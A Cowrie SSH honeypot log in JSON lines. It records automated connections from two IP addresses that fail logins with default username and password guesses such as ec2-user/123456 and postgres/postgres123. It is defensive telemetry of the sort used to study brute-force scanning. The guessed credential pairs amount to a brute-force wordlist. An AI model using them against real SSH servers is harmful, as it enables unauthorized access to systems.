{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35062,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c43a48f7626","protocol":"ssh","message":"New connection: 176.65.139.95:35062 (159.203.135.109:22) [session: 1c43a48f7626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:31.793717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:31.798242Z","src_ip":"176.65.139.95","session":"1c43a48f7626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:31.892386Z","src_ip":"176.65.139.95","session":"1c43a48f7626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55414,"dst_ip":"159.203.135.109","dst_port":22,"session":"664d1a75db98","protocol":"ssh","message":"New connection: 192.109.200.78:55414 (159.203.135.109:22) [session: 664d1a75db98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:32.153341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:32.157709Z","src_ip":"192.109.200.78","session":"664d1a75db98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:32.243350Z","src_ip":"192.109.200.78","session":"664d1a75db98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:32.401830Z","src_ip":"176.65.139.95","session":"1c43a48f7626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:32.786096Z","src_ip":"192.109.200.78","session":"664d1a75db98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:33.543539Z","src_ip":"176.65.139.95","session":"1c43a48f7626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:33.870494Z","src_ip":"192.109.200.78","session":"664d1a75db98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55420,"dst_ip":"159.203.135.109","dst_port":22,"session":"763d9a9c1aff","protocol":"ssh","message":"New connection: 192.109.200.78:55420 (159.203.135.109:22) [session: 763d9a9c1aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:36.067088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:36.072748Z","src_ip":"192.109.200.78","session":"763d9a9c1aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:36.155866Z","src_ip":"192.109.200.78","session":"763d9a9c1aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:36.407465Z","src_ip":"192.109.200.78","session":"763d9a9c1aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:37.493353Z","src_ip":"192.109.200.78","session":"763d9a9c1aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35072,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c715088543","protocol":"ssh","message":"New connection: 176.65.139.95:35072 (159.203.135.109:22) [session: f7c715088543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:37.624582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:37.633574Z","src_ip":"176.65.139.95","session":"f7c715088543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:37.716338Z","src_ip":"176.65.139.95","session":"f7c715088543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:38.175567Z","src_ip":"176.65.139.95","session":"f7c715088543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:39.269670Z","src_ip":"176.65.139.95","session":"f7c715088543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b15bc8795c89","protocol":"ssh","message":"New connection: 192.109.200.78:54916 (159.203.135.109:22) [session: b15bc8795c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:40.164026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:40.169090Z","src_ip":"192.109.200.78","session":"b15bc8795c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:40.252199Z","src_ip":"192.109.200.78","session":"b15bc8795c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:40.499826Z","src_ip":"192.109.200.78","session":"b15bc8795c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:41.586416Z","src_ip":"192.109.200.78","session":"b15bc8795c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46560,"dst_ip":"159.203.135.109","dst_port":22,"session":"b54c9acb32fe","protocol":"ssh","message":"New connection: 176.65.139.95:46560 (159.203.135.109:22) [session: b54c9acb32fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:43.520131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:43.529095Z","src_ip":"176.65.139.95","session":"b54c9acb32fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:43.616112Z","src_ip":"176.65.139.95","session":"b54c9acb32fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:44.009151Z","src_ip":"176.65.139.95","session":"b54c9acb32fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea11c3ee162b","protocol":"ssh","message":"New connection: 192.109.200.78:54928 (159.203.135.109:22) [session: ea11c3ee162b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:44.095363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:44.100914Z","src_ip":"192.109.200.78","session":"ea11c3ee162b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:44.184078Z","src_ip":"192.109.200.78","session":"ea11c3ee162b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:44.434263Z","src_ip":"192.109.200.78","session":"ea11c3ee162b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:45.095037Z","src_ip":"176.65.139.95","session":"b54c9acb32fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:45.522721Z","src_ip":"192.109.200.78","session":"ea11c3ee162b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54934,"dst_ip":"159.203.135.109","dst_port":22,"session":"a255905c2f12","protocol":"ssh","message":"New connection: 192.109.200.78:54934 (159.203.135.109:22) [session: a255905c2f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:47.954969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:47.963819Z","src_ip":"192.109.200.78","session":"a255905c2f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:48.046711Z","src_ip":"192.109.200.78","session":"a255905c2f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:48.295955Z","src_ip":"192.109.200.78","session":"a255905c2f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:49.396032Z","src_ip":"192.109.200.78","session":"a255905c2f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38588,"dst_ip":"159.203.135.109","dst_port":22,"session":"6937adf8eb8b","protocol":"ssh","message":"New connection: 176.65.139.95:38588 (159.203.135.109:22) [session: 6937adf8eb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:49.493970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:49.512323Z","src_ip":"176.65.139.95","session":"6937adf8eb8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-c